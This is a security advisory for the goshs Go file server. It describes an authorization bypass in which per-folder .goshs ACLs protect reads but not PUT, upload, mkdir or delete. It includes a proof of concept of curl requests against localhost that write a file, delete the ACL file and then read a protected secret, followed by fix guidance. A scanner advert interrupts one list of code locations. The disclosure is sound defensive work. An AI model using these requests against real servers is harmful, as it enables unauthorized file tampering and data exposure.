| Package | Affected versions | Patched versions |
|---|---|---|
| github.com/patrickhener/goshs | ≤ 1.1.4all versions | |
| goshs | = 2.0.0< 2.0.0 | 2.0.0 |
goshs enforces the documented per-folder .goshs ACL/basic-auth mechanism for directory listings and file reads, but it does not enforce the same authorization checks for state-changing routes. An unauthenticated attacker can upload files with PUT, upload files with multipart POST /upload, create directories with ?mkdir, and delete files with ?delete inside a .goshs-protected directory. By deleting the .goshs file itself, the attacker can remove the folder's auth policy and then access previously protected content without credentials. This results in a critical authorization bypass affecting confidentiality, integrity, and availability.
The project README explicitly documents file-based ACLs as a security feature:
README.md:59 - "You can place a .goshs in any folder to apply custom ACLs"README.md:61 - "You can apply custom basic auth per folder"The read/list path correctly enforces .goshs:
httpserver/filebased.go:10-49 loads .goshshttpserver/handler.go:68-91 calls findSpecialFile() for directorieshttpserver/handler.go:94-101 calls findSpecialFile() for fileshttpserver/handler.go:285-305 applies custom authhttpserver/handler.go:545-565 enforces folder auth during directory renderinghttpserver/handler.go:590-630 enforces file auth and blocked entries during file servingHowever, the state-changing routes bypass this logic entirely:
httpserver/server.go:94-100 routes multipart POST /.../upload directly to upload()httpserver/server.go:105-109 routes PUT directly to put()httpserver/handler.go:119-123 dispatches ?mkdir directly to handleMkdir()httpserver/handler.go:181-187 dispatches ?delete directly to deleteFile()httpserver/updown.go:18-60 writes files for PUT without checking .goshshttpserver/updown.go:63-165 writes files for multipart upload without checking Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free.goshshttpserver/handler.go:679-698 deletes files with os.RemoveAll() without checking .goshshttpserver/handler.go:901-937 creates directories with os.MkdirAll() without checking .goshsThis is not a path traversal issue. The path remains inside the configured root after sanitization. The vulnerability is that authorization is applied inconsistently: reads are protected, but writes and deletes are not. Because .goshs itself can be deleted through the unauthenticated delete route, the attacker can escalate the impact from unauthorized modification to full removal of the folder's auth barrier.
Environment used for verification:
github.com/patrickhener/goshsv2.0.0-beta.3v1.1.4 line based on code inspection127.0.0.1:18091Build and setup:
cd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta3'
go build -o /tmp/goshs_acl_verify/goshs ./
rm -rf /tmp/goshs_acl_verify/root
mkdir -p /tmp/goshs_acl_verify/root/protected
cp integration/keepFiles/goshsACLAuth /tmp/goshs_acl_verify/root/protected/.goshs
printf 'top secret\n' > /tmp/goshs_acl_verify/root/protected/secret.txt
/tmp/goshs_acl_verify/goshs -d /tmp/goshs_acl_verify/root -p 18091
In a second terminal:
# The protected folder initially requires auth
curl -s -o /dev/null -w '%{http_code}\n' 'http://127.0.0.1:18091/protected/'
# Unauthenticated write into the protected folder succeeds
curl -s -o /dev/null -w '%{http_code}\n' -X PUT \
--data-binary 'injected via PUT' \
'http://127.0.0.1:18091/protected/put-created.txt'
# Unauthenticated deletion of the ACL file succeeds
curl -s -o /dev/null -w '%{http_code}\n' \
'http://127.0.0.1:18091/protected/.goshs?delete'
# The previously protected file is now publicly accessible
curl -s -o /dev/null -w '%{http_code}\n' \
'http://127.0.0.1:18091/protected/secret.txt'
curl -s 'http://127.0.0.1:18091/protected/secret.txt'
Expected results:
401
200
200
200
top secret
Note: if using zsh, the URL containing ?delete must be quoted, or the shell will treat ? as a wildcard and the request will not be sent.
PoC Video for reference:
This is an authorization bypass affecting deployments that rely on .goshs for per-folder protection. A remote unauthenticated attacker can:
.goshs policy file itselfIn practice, this breaks the security boundary promised by the file-based ACL feature and can expose sensitive files while also allowing unauthorized modification or destruction of protected content.
.goshs authorization checks for all state-changing operations, not just read/list flows. Before PUT, multipart upload, delete, and mkdir, resolve the effective folder ACL and deny the request unless the caller satisfies acl.Auth..goshs as a special file in mutation handlers. The application already prevents serving .goshs; it should also reject deletion, overwrite, or replacement of .goshs through HTTP routes unless the request is properly authorized.PUT, POST /upload, ?delete, and ?mkdir all fail without valid credentials when a .goshs file is present.